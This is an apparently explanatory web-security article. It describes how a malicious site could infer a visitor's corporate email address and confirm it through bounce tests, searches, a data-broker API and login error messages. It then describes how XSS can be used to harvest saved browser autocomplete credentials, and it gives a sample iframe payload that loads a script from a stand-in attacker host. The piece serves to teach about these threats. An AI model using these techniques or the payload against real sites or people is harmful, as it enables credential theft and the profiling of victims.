Web Application Security

I Know Your [Corporate] Email Address, and more…


1) Inference

Let’s assume that with the techniques in the previous section, http://maliciouswebsite/ is able to ascertain a visitor’s full name and where they work. It may then use this information to infer the corporate email address of a visitor.

In the inference process, an attacker can enter the employer’s name, in quotes, into a search engine. The top result is likely to be the corporate Web page, and that will reveal the corporate domain name (domain.tld). Many organizations use standard email address naming conventions — firstname@domain.tld, firstname.lastname@domain.tld, or firstinitiallastname@domain.tld are the 3 most common.

Let’s say that I, “Jeremiah Grossman,” employee of “WhiteHat Security,” landed on http://maliciouswebsite/. Google’s top result search result for my employer is “www.whitehatsec.com.” That would mean that my email address could be inferred to be jeremiah@whitehatsec.com, jeremiah.grossman@whitehatsec.com, or jgrossman@whitehatsec.com. As it happens, two of the three actually get to me. Now, let’s say http://maliciouswebsite/ has this list of inferred email address; how can it verify their validity? There are at least four methods.

The first two methods are simple:

  • Send email to it. If the email does not bounce, there is a good chance the address is valid
  • Search for the inferred email address in the search engine. If results come back, the chances are that the email address is valid.

In the third approach, http://maliciouswebsite/ could use a third-party service provider such as RapLeaf on the fly. RapLeaf, which bills itself as having “Real-Time Data on 80% of U.S. Emails,” provides an API to query an email address and receive demographic information about its owner. If RapLeaf has information on the email address, not only does http://maliciouswebsite/ know the address is valid, but it may well get a whole lot more data as well.

The fourth approach uses website error messages. Many very popular websites use email addresses as usernames. If an invalid email address / password combination is submitted through the login screen, many of these sites will reveal which part of the data combo was inaccurate. This convenience for the end user also helps an attacker discover whether an e-mail address is valid. If the email address is registered on the system, an error message will make that clear – a dead giveaway that the email address is valid. This exact technique has been used to determine what popular online services corporate executives use.


2)  Browser Auto-Complete Hacking

Back in 2009 I showed how through two primary mechanisms, XSS and keystroke simulation, http://maliciouswebsite/ could mine the auto-complete data from a visiting browser. This data will often include not only email addresses, but previously used search terms, full names, employers, addresses, and so on as well. For the most part, the keystroke simulation technique version is resolved, but those that leverage XSS remain.

To describe this attack, let’s assume the visitor has previously used the browser’s internal password remember feature for http://webmail/. The mission of http://maliciouswebsite/ is to rip out that email address (username) and password combination from http://webmail/. As part of the attack, let’s also assume http://maliciouswebsite/ knows of an XSS vulnerability in http://webmail/.

When a browser lands on http://maliciouswebsite/, it can use an IFrame to auto-XSS exploit the visitor on http://webmail/ without needing any additional mouse-clicks:

<* iframe src=” http://webmail/q=%3Cscript+src%3D%22http%3A//maliciouswebsite/xss.js%22%3E%3C/script%3E”><* /iframe>

When the page loads, the malicious XSS payload (a SCRIPT tag) calls in additional Javascript code from “maliciouswebsite”, which executes under the “webmail” domain. Because http://maliciouswebsite/xss.js executes under “webmail,” it then has the ability modify webmail’s DOM. The malicious cross-site scripting payload would then dynamically create a Login Web form identical to one normally found on http://webmail/. The browser is then tricked into auto-completing it with the saved email address / password data, which is directly readable by the malicious XSS code. A few lines of code and http://maliciouswebsite/ has that data.


I Know…